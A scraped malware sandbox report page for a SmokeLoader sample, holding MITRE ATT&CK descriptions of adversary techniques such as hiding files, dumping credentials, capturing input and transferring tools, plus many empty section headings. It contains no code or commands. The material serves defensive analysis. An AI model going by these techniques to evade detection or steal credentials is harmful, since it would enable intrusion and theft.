Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report SkB6zJ6H3N.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: SmokeLoader

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre